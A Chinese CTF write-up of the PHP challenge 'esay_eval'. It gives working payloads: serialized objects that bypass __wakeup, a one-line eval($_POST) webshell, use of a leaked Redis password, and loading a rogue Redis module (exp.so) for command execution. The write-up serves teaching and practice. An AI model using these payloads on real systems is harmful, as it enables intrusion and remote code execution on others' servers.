[天翼杯 2021]esay_eval

发布于:2024-06-17 ⋅ 阅读:(12) ⋅ 点赞:(0)

[天翼杯 2021]esay_eval

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

 代码审计

给了两个类A和B

A类下有一个公有属性code,call函数和wakeup魔术方法,

B类下有一个一个函数destruct

后面是三个if的判断语句,第一个if判断是isset函数判断request数组中是否有poc参数

preg_match_all函数用于执行一个全局正则表达式匹配。它搜索与给定主题中的模式匹配的所有匹配项,并将匹配项存储在数组中。

语法

int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。

在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。

参数说明:

$pattern: 要搜索的模式,字符串形式。

$subject: 输入字符串。

$matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

$flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。

PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。

offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

接着分析这段代码:preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

/"[AB]":匹配双引号内的字母B或A,然后是冒号。

(.*?)非贪婪匹配任意字符,并捕获它们。

:匹配一个冒号。

/s 使`.`匹配包括换行符在内的所有字符。

会从$_REQUEST['poc']字符串中查找所有能够匹配的字符,并把所匹配到的字符存储到$ret数组中。

第二个if是检查$ret,是否找到了匹配项,

foreach遍历匹配结果并验证,遍历匹配的值,并转换为整数,判断是否为1

如果有任何值不等于1就会退出脚本,返回:you want to bypass wakeup ? no !

 如果所有值都通过验证,就对$_REQUEST['poc']进行反序列化,

反序列化将字符串转换回PHP变量。

总的来说就是会对传入的参数进行判断,A或B后面是不是为1,是1才可以继续执行,该题又需要绕过weakup魔术方法,A或B后的一定不能是1,就用到php对类名大小写不敏感的特性去绕过

A或B就可以是a和b,使用小写。

就可以构造payload

<?php
class a{
public $code = "";
function __construct(){
$this->code = "phpinfo();";
}
}
class b{
function __construct(){
$this->a=new a();
	}
}
echo serialize(new b());

 输出:

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

改成:

O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

绕过weakup魔术方法

传参:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

进入phpinfo页面

搜索后里面没有flag

换一种姿势,尝试使用一句话木马。用蚁剑连接

构造:

<?php
class a{
    public $code = "eval(\$_POST[1]);";
    
}

class b{
    public $a;
    function __construct()
    {
        $this -> a=new A();
    }
}
$c = new b();
$poc = serialize($c);
echo $poc;

 输出:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

构造:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

 传入成功后连接蚁剑

 含有一个config.php.swp文件

 是vim泄露,

简述:

当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。

需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的。

意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样。

例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。

文件内容:

可以使用Linux命令vi -r config.php.swp来还原文件,使用,ls -al查看文件

但我们直接可以看到内容就不恢复了

内容大概就是:

define("REDIS_PASS","you_cannot_guess_it");

define("DB_DATABASE","test");

define("DB_PASSWOrd","");

define("DB_USERNAME","root");

define("DB_HOST","localhost");

<?php

搜索后是redis,redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

使用蚁剑的插件redis进行连接

该插件需要科学上网才可以在插件市场下载,不然会一直转圈,加载不出来。

或者可以下载插件源代码。

安装好插件后就可以进行连接

密码是you_cannot_guess_it,在泄露的文件中给了出来。

 连接成功,还需要上传exp.so这个文件,下载地址是:

https://gitcode.com/Dliv3/redis-rogue-server/overview?utm_source=csdn_github_accelerator&isLogin=1

 长传文件后加载这个文件,使用命令

MODULE LOAD /var/www/html/exp.so

 再进行命令执行,ls和cat

 总结:

php对类名大小写不敏感特性可以绕过正则匹配。

对weakup魔术方法的绕过,传入的数量比真实数量大就可以绕过。

eval函数

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

 eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

所以这就是本题的危险函数,通过对poc链的构造先尝试传入phpinfo();成功返回该页面后就可以传入一句话木马,再连接蚁剑,但是权限不够,访问不了根目录,查看config.php.swp文件,涉及到vim泄露,还原文件后得知是redis数据库,给了root账户的密码,使用redis插件进行连接,连接后上传一个so文件用来进一步提权,加载该so文件后就可以进行命令执行。

通过搜索该题还有第二种提权方式

使用disable_functions插件进行提权,只需要简单的ls命令,cat命令就行